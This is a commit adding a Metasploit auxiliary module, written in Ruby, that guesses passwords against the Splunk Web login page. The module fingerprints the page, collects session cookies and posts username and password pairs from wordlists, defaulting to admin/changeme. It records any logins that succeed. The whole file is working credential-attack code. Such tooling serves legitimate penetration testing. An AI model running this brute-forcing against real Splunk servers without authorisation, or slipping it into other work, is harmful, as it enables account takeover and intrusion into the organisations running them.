initial import of splunk password guesser

modules/auxiliary/scanner/http/splunk_web_login.rb

@@ -0,0 +1,148 @@
+##
+# splunk_web_login.rb
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::AuthBrute
+
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name'           => 'Splunk Web interface Login Utility',
+			'Description'    => %{
+				This module simply attempts to login to a Splunk
+				web iterface using a specific user/pass.
+			},
+			'Author'         => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
+			'License'        => MSF_LICENSE
+		)
+
+		register_options(
+			[
+				Opt::RPORT(8000),
+				OptString.new('URI', [true, "URI for Splunk Web login. Default is /en-US/account/login", "/en-US/account/login"]),
+				OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
+				OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", false])
+			], self.class)
+	end
+
+	def run_host(ip)
+		begin
+			res = send_request_cgi({
+				'uri'     => datastore['URI'],
+				'method'  => 'GET'
+				}, 25)
+			http_fingerprint({ :response => res })
+		rescue ::Rex::ConnectionError => e
+			vprint_error("#{msg} #{datastore['URI']} - #{e}")
+			return
+		end
+
+		if not res
+			vprint_error("#{msg} #{datastore['URI']} - No response")
+			return
+		end
+		if !(res.code == 200)
+			vprint_error("#{msg} - Expected 200 HTTP code - not Splunk? Got: #{res.code}")
+			return
+		end
+		if res.body !~ /Splunk/
+			vprint_error("#{msg} - Expected Splunk page - not Splunk web interface? #{res.body}")
+			return
+		end
+
+		each_user_pass do |user, pass|
+			do_login(user, pass)
+		end
+	end
+
+	def do_login(user='admin', pass='changeme')
+		vprint_status("#{msg} - Trying username:'#{user}' with password:'#{pass}'")
+		begin
+			res = send_request_cgi({
+				'uri'     => datastore['URI'],
+				'method'  => 'GET'
+				}, 25)
+
+			# stolen from splunk_mappy_exec.rb
+			cval = ''
+			uid = ''
+			session_id_port =
+			session_id = ''
+			if res and res.code == 200
+				res.headers['Set-Cookie'].split(';').each {|c|
+					c.split(',').each {|v|
+						if v.split('=')[0] =~ /cval/
+							cval = v.split('=')[1]
+						elsif v.split('=')[0] =~ /uid/
+							uid = v.split('=')[1]
+						elsif v.split('=')[0] =~ /session_id/
+							session_id_port = v.split('=')[0]
+							session_id = v.split('=')[1]
+						end
+					}
+				}
+			else
+				print_error("#{msg} Failed to get login cookies, aborting")
+				return :abort
+			end
+
+			res = send_request_cgi(
+			{
+				'uri'     => datastore['URI'],
+				'method'  => 'POST',
+				'cookie'	=> "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
+				'vars_post' =>
+					{
+						'cval' => cval,
+						'username' => user,
+						'password' => pass
+					}
+			}, 25)
+
+			if not res or res.code != 303
+				vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
+				return :skip_pass
+			else
+				print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
+
+				report_hash = {
+					:host   => datastore['RHOST'],
+					:port   => datastore['RPORT'],
+					:sname  => 'splunk-web',
+					:user   => user,
+					:pass   => pass,
+					:active => true,
+					:type => 'password'}
+
+				report_auth_info(report_hash)
+				return :next_user
+			end
+		rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
+			print_error("#{msg} HTTP Connection Failed, Aborting")
+			return :abort
+		end
+
+		if not res
+			print_error("#{msg} HTTP Connection Error - res, Aborting")
+			return :abort
+		end
+	end
+
+	def msg
+		"#{vhost}:#{rport} Splunk Web -"
+	end
+end